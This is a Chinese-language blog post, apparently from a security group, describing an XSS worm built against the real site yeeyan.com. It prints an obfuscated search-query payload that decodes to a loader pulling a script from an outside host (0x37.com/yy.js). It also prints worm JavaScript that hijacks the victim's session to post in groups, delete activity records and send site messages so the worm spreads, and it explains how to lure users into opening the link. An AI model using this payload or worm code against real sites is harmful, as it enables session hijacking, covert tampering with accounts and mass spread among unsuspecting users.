Search Engine XSS Worm

作者:餘弦 來源:0x37 Security 有挑戰纔有意思,爲了誕生個Search Engine XSS Worm,這裏拿yeeyan做實驗了。 譯言http://www.yeeyan.com/是一個“發現、翻譯、閱讀中文之外的互聯網精華”的web2.0網站,過濾系統真BT,不過其搜索引擎存在跨站,它的搜索引擎也真夠BT,轉義單引號、雙引號,並且當搜索值含英文冒號:時就不返回搜索結果。於是我只能這樣構造:

http://www.yeeyan.com/main/ysearch?q=%3Cs%63%72ipt%3Eeval(%53%74ring.f%72om%43%68ar%43ode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,121,121,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41))%3C/s%63%72ipt%3E

本來搜索引擎跨站沒什麼好玩的,但這次在yeeyan這就可以利用這個易被忽略點來誕生個XSS WORM。蠕蟲要誕生必須解決以下幾點:

Q1、上面這個Search Engine XSS Trap如何包含遠程蠕蟲?

A1、因爲蠕蟲的代碼會很多,不可能一次性出現在這個XSS Trap中(對比:複製自身的微型XSS Worm),所以要想辦法利用這個XSS Trap來調用遠程蠕蟲。方法很多,你解碼這個XSS Trap就知道我的方法:)

Q2、如何讓其他驗證用戶訪問這個Search Engine XSS Trap?

A2、 先給某幾位用戶發站內信(借用蠕蟲本身就可以批量發送:)),欺騙其訪問,一旦他們訪問,則這個XSS Trap會調用遠程蠕蟲,蠕蟲會獲取他們的好友信息與他們的信箱信息等等,這裏面都有其他用戶的信息。於是這個Search Engine XSS Trap就可以隨站內信系統大量傳播。

Q2、蠕蟲如何獲取訪問Search Engine XSS Trap的用戶標誌信息?

A3、這點很重要,蠕蟲的傳播是要很多宿主的,要獲得這些宿主就必須能夠很清晰地獲取特定用戶標誌信息,比如他的ID、他的空間地址等等。蠕蟲一旦傳播開,那就是爆發式的:)。

這些問題我都解決了,於是yeeyan的這個Search Engine XSS Worm就成功誕生。蠕蟲部分代碼如下:

var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
_1();
function _1(){
var _u=_3or7("GET","http://www.yeeyan.com/space/showme",null);
re=/\<a href=\"\/space\/groups\/(.*?)\">/i
r=_u.match(re);
src="http://www.yeeyan.com/groups/newTopic/";
var _txt="HELLO YEEYAN.";
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[Post][content]\"\r\n\r\n";
argv_1+=(_txt+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsggroup\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee_username\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
var _del=_3or7("GET","http://www.yeeyan.com/space/deleteEvent/15429",null);
//刪除記錄只需這樣即可:)
_2();
}
function _2(){
src="http://www.yeeyan.com/space/compose_message";
var _to="Yasmin";
var _s="yeeyan";
var _m="HELLO:)"
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[receiver_name]\"\r\n\r\n";
argv_1+=(_to+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[subject]\"\r\n\r\n";
argv_1+=(_s+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message][content]\"\r\n\r\n";
argv_1+=(_m+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message_id]\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[action]\"\r\n\r\n";
argv_1+=("send"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
alert(0);
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
_x.send(_a);
return _x.responseText;
}要理解這些代碼可以參考我以前的文章,這裏有線索:http://www.0x37.com/post/2.html。我寫這個蠕蟲的目的是驗證http://www.0x37.com/post/2.html我 的這篇文章提到的方法,我只能說老外有點不負責任:),我還得重新編碼,這個方法理論上是行得通的,只是我目前遇到了點麻煩。還是構造HTTP消息頭來 POST蠕蟲信息爽。借用搜索引擎來誕生蠕蟲,我還是第一次這樣做。只要滿足XSS Trap與目標攻擊點在嚴格的同域內就OK。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章